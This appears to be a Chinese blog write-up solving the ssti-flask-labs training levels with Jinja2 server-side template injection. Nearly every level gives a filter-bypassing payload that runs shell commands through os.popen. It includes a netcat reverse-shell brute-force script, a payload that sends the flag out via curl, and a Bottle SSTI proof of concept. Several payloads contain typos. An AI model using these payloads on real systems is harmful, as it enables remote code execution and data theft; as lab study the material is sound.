ssti-flask-labs

ssti-flask-labs

第一关

第一关轻松过,没waf,找了半天的os模块在哪,一直以为是132,结果在133.。。。。。

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

第二关({})

过滤了{},可以用{%%}来代替

原谅我,想了半天,也不知道怎么进入下一关,最后问了大佬想起来要url就好了,我是憨憨,呜呜呜

上一题的playload改一下就好了

不过要加一个print

{%print(().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read())%}

过了过了,很快的过了

第三关(无回显)

这一关遇到了挫折,,搞了好久,外带带不出来,最后借用别人搭的靶场,自己在虚拟机用docker起镜像,搭容器,

首先在虚拟机里搭装好nc,如果是乌班图就不用装了,他自己带nc,这是在虚拟机里的安装命令,Windows的话命令会不一样,可以自己去找一下

 1. 下载netcat二进制安装包
     wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
  
 2.解压netcat压缩包
  tar -zxvf ./netcat-0.7.1.tar.gz 
  
 3.进入netcat目录中运行
   ./configure
  
 4.执行编译和安装
  make&&make install
  
 5.退出编译
  make clean

  我用的乌班图(ubuntu)搭的docker,首先安装docker:https://blog.csdn.net/web13170611647/article/details/126746625

跟这以上文章docker安装完成后,

1.改变下载源:
输入命令:vim docker.json
{

"registry-mirror":["https://docker.mirrors.ustc.edu.cn"]

}
将以上内容写进去之后输入(:wq!)退出
2.把容器下载下来
docker puul mcc0624/flask_ssti:last

3.docker images

4.sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
到这一步容器就安装完成了

之后看一下你虚拟机的ip地址

ifconfig

image-20230724121255907

比如我的ip地址就是192.168.86.129

之后在浏览器访问 ip:18080

出现这个页面就算成功了,可以访问了,我们进入到第3关
在这里插入图片描述

用这个脚本

//反弹shell脚本
import requests
url = 'http://192.168.86.129:18080/flasklab/level/3'

for x in range(500):
    try:
        data = {"code":"{{''.__class__.__base__.__subclasses__()["+str(x)+"].__init__.__globals__['popen']('netcat 192.168.86.129 8888 -e /bin/bash').read()}}"}
        response = requests.post(url,data = data)
    except:
        passcat

运行它,在虚拟机命令行执行

nc -lvnp 8888

netcat 192.168.86.129 8888 -e /bin/bash’

这里的地址一定要弹到你的虚拟机的地址

连接上之后,命令执行,得到flag

在这里插入图片描述

第四关([])

过滤了[]

还是可以的

{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}

第五关(‘’ “”)

过滤了单双引号 ‘’ “”

image-20230724132306112

get  :http://192.168.86.129:18080/flasklab/level/5?a=popen&&b=cat flag


post   :code={{[].__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.a](request.args.b).read()}}

第六关(__)

过滤了__

###方法一:attr+request.args

GET:
http://192.168.86.129:18080/flasklab/level/6?class=__class__&&base=__base__&&subclasses=__subclasses__&&geti=__getitem__&&ini=__init__&&global=__globals__
POST:
code={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.global)|attr(request.args.geti)('popen')('cat flag')|attr('read')()}}

方法二:unicode编码


unicode:
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

第七关(.)

过滤了.

attr

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|atttr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}}

[]代替.

{{()['__class__']['__base__']['__subclasses__']()['__getitem__'](117)['__init__']['__globals__']['__getitem__']('popen')('cat flag')['read']()}}

第八关

WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

###1.+号拼接

{{()['__cla'+'ss__']['__b'+'ase__']['__subclas'+'ses__']()['__getitem__'](117)['__ini'+'t__']['__glob'+'als__']['__getitem__']('po'+'pen')('cat flag')['read']()}}

2.jianjia2中的~拼接

{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set aa='__in'%}{%set bb='it__'%}{%set cc='__glo'%}{%set dd='bals__'%}{{()[a~b][c~d][e~f]()[117][aa~bb][cc~dd]['po'+'pen']('cat flag')['read']()}}

3.reverse replace join等过滤器

reverse:
{%set a="__ssalc__"|reverse%}{%set b="__esab__"|reverse%}{%set c="__sessalcbus__"|reverse%}{%set d="__tini__"|reverse%}{%set e="__slabolg__"|reverse%}{{""[a][b][c]()[117][d][e]['po'+'pen']('cat flag')['read']()}}
replace:
{%set a="_claee_"Ireplace("ee" , "ss")%}
join:()join读键名,即读取__cla  和ss
{%set a=dict(__cla=a,ss=a)|join%}
{%() [a]%}

第九关(数字0-9)

{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'a'|length%}{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'aaa'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat flag').read()}}

第十关

在这里插入图片描述

url_for:
{{url_for.__globals__['current_app'].config}}
get_flashed_messages:
{{get_flashed_messages.__globals__['current_app'].config}}

第十一关

11关过滤了一堆东西,先确定一个利用的基本payload

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

利用flask内置函数和对象获取符号

{% set ben = ({ }select()[string()) %]{ben}}#获取下划线

{% set ben = (self|string()) %]H{ben}}#获取空格

{% set ben = (self|stringlurlencode)%H{ben}#获取百分号

{% set ben = (app._doc_|string) %]{ben}}
{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

第十二关

在11的基础上多了数字,下划线

{{lipsum|string|list}}可以读取字符

{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=nine+nine%}{{nine,eighteen}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WhpO1uiH-1690275403660)(https://raw.githubusercontent.com/qingchuana/img/main/img/image-20230724183527095.png)]

image-20230724183251511

image-20230724184725189

基础playload:

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
code={% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=nine+nine %}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

第十三关

{% set pop=dict(pop=a)|join %}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}


针对flag在app/flag下的

{%print(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(globals=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2~(dict(builtins=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(eval=x)|join)))((lipsum|escape|batch(22)|list|first|last)*2~(dict(import=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(os=x)|join))|attr((dict(popen=x)|join)))(((((lipsum()|urlencode|first)~(dict(c=x)|join))*12)%(199,97,116,32,97,112,112,47,102,108,97,103))))|attr((dict(read=x)|join)))()))%}

//里面的(199,97,116,32,97,112,112,47,102,108,97,103)是cat app/flag转换为10进制对应的数字,前面的12对应要改为和长度一样的
比如199,97,116,32,97,112,112,47,102,108,97,103)为12个数字,相应的要改为12

究极过滤payload:

{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}{% set gb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set get=dict(get=a)|join%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set ca=dict(ca=a,t=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set dd=dict(index=a)|join%}
{% set id=dict(ind=a,ex=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set bin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set chcr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set dh=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set rd=dict(re=a,ad=a)|join%}
{% set ls=dict(ls=a)|join%}

{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ca,space,dict(f1ag=a)|join,dh,dict(txt=a)|join)|join %}

{% print(shell)%}
{%print(lipsum|attr(gb)|attr(get)(os)|attr(popen)(shell)|attr(rd)())%}

外带playload


?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

借鉴大佬blog:

https://blog.csdn.net/weixin_54902210/article/details/121474509

### 关于Bottle框架中的SSTI漏洞 在探讨Bottle框架内的服务器端模板注入(SSTI)时,需理解此类型的攻击通常发生在应用程序不当处理用户输入并将其嵌入到由模板引擎解析的内容之中。对于像Bottle这样的Web框架而言,如果采用诸如Jinja2之类的模板引擎来动态生成HTML页面,则可能存在风险。 当开发人员未能充分验证或转义来自用户的输入数据前就直接传递给模板渲染函数时,便可能引入SSTI漏洞[^1]。具体来说,在Bottle应用中使用`bottle.template()`或者集成其他支持复杂表达式的模板库(比如Mako, Jinja2),而这些地方又恰好存在未被妥善保护的入口点供恶意用户操控时,就会暴露出潜在的安全隐患。 为了展示如何在一个基于Bottle的应用程序里触发这种漏洞,下面给出了一段简化版的概念证明代码: ```python from bottle import route, run, request, template @route('/greet/<name>') def greet(name): return template('{{ name }}', name=name) run(host='localhost', port=8080) ``` 上述例子假设传入的名字参数未经任何清理就被送进了模板环境中去渲染输出。假如访问路径为`/greet/{{''.__class__.__mro__[1].__subclasses__()}}`,那么它可能会返回一系列内置类对象列表,这表明已经成功实现了基本形式上的SSTI攻击[^4]。 值得注意的是,实际生产环境下的攻击往往更加隐蔽且具有破坏力;它们可以用来读取敏感文件、执行远程命令甚至完全控制受影响的服务实例。因此,预防措施至关重要——始终遵循最小权限原则设计API接口,并严格审查所有外部提交的数据以防止意外行为的发生。 #### 防范建议 - 对所有用户提供的字符串实施严格的输入校验; - 使用安全编码实践,如避免内联JavaScript以及禁用危险功能; - 定期更新所使用的第三方组件至最新版本; - 考虑部署WAF(Web Application Firewall)作为额外防护层。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q1ng_chuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值